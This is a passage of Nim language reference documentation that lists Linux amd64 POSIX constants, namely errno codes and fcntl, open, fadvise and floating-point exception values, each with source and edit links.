[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L23) ``` EADDRNOTAVAIL = 99'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L24) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L24) ``` EAFNOSUPPORT = 97'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L25) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L25) ``` EAGAIN = 11'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L26) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L26) ``` EALREADY = 114'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L27) ``` EBADF = 9'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L28) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L28) ``` EBADMSG = 74'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L29) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L29) ``` EBUSY = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L30) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L30) ``` ECANCELED = 125'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L31) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L31) ``` ECHILD = 10'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L32) ``` ECONNABORTED = 103'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L33) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L33) ``` ECONNREFUSED = 111'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L34) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L34) ``` ECONNRESET = 104'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L35) ``` EDEADLK = 35'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L36) ``` EDESTADDRREQ = 89'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L37) ``` EDOM = 33'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L38) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L38) ``` EDQUOT = 122'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L39) ``` EEXIST = 17'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L40) ``` EFAULT = 14'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L41) ``` EFBIG = 27'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L42) ``` EHOSTUNREACH = 113'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L43) ``` EIDRM = 43'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L44) ``` EILSEQ = 84'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L45) ``` EINPROGRESS = 115'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L46) ``` EINTR = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L47) ``` EINVAL = 22'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L48) ``` EIO = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L49) ``` EISCONN = 106'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L50) ``` EISDIR = 21'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L51) ``` ELOOP = 40'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L52) ``` EMFILE = 24'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L53) ``` EMLINK = 31'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L54) ``` EMSGSIZE = 90'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L55) ``` EMULTIHOP = 72'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L56) ``` ENAMETOOLONG = 36'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L57) ``` ENETDOWN = 100'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L58) ``` ENETRESET = 102'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L59) ``` ENETUNREACH = 101'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L60) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L60) ``` ENFILE = 23'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L61) ``` ENOBUFS = 105'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L62) ``` ENODATA = 61'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L63) ``` ENODEV = 19'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L64) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L64) ``` ENOENT = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L65) ``` ENOEXEC = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L66) ``` ENOLCK = 37'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L67) ``` ENOLINK = 67'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L68) ``` ENOMEM = 12'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L69) ``` ENOMSG = 42'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L70) ``` ENOPROTOOPT = 92'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L71) ``` ENOSPC = 28'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L72) ``` ENOSR = 63'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L73) ``` ENOSTR = 60'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L74) ``` ENOSYS = 38'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L75) ``` ENOTCONN = 107'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L76) ``` ENOTDIR = 20'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L77) ``` ENOTEMPTY = 39'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L78) ``` ENOTSOCK = 88'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L79) ``` ENOTSUP = 95'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L80) ``` ENOTTY = 25'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L81) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L81) ``` ENXIO = 6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L82) ``` EOPNOTSUPP = 95'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L83) ``` EOVERFLOW = 75'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L84) ``` EPERM = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L85) ``` EPIPE = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L86) ``` EPROTO = 71'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L87) ``` EPROTONOSUPPORT = 93'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L88) ``` EPROTOTYPE = 91'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L89) ``` ERANGE = 34'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L90) ``` EROFS = 30'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L91) ``` ESPIPE = 29'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L92) ``` ESRCH = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L93) ``` ESTALE = 116'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L94) ``` ETIME = 62'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L95) ``` ETIMEDOUT = 110'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L96) ``` ETXTBSY = 26'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L97) ``` EWOULDBLOCK = 11'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L98) ``` EXDEV = 18'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L99) ``` F_DUPFD = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L102) ``` F_DUPFD_CLOEXEC = 1030'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L103) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L103) ``` F_GETFD = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L104) ``` F_SETFD = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L105) ``` F_GETFL = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L106) ``` F_SETFL = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L107) ``` F_GETLK = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L108) ``` F_SETLK = 6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L109) ``` F_SETLKW = 7'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L110) ``` F_GETOWN = 9'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L111) ``` F_SETOWN = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L112) ``` FD_CLOEXEC = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L113) ``` F_RDLCK = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L114) ``` F_UNLCK = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L115) ``` F_WRLCK = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L116) ``` O_CREAT = 64'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L117) ``` O_EXCL = 128'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L118) ``` O_NOCTTY = 256'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L119) ``` O_TRUNC = 512'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L120) ``` O_APPEND = 1024'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L121) ``` O_DSYNC = 4096'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L122) ``` O_NONBLOCK = 2048'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L123) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L123) ``` O_RSYNC = 1052672'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L124) ``` O_SYNC = 1052672'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L125) ``` O_ACCMODE = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L126) ``` O_RDONLY = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L127) ``` O_RDWR = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L128) ``` O_WRONLY = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L129) ``` O_CLOEXEC = 524288'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L130) ``` O_DIRECT = 16384'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L131) ``` O_PATH = 2097152'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L132) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L132) ``` O_NOATIME = 262144'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L133) ``` O_TMPFILE = 4259840'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L134) ``` POSIX_FADV_NORMAL = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L135) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L135) ``` POSIX_FADV_SEQUENTIAL = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L136) ``` POSIX_FADV_RANDOM = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L137) ``` POSIX_FADV_WILLNEED = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L138) ``` POSIX_FADV_DONTNEED = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L139) ``` POSIX_FADV_NOREUSE = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L140) ``` FE_DIVBYZERO = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L143) ``` FE_INEXACT = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L144) ``` FE_INVALID = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L145) ``` FE_OVERFLOW = 8'i32 ``` 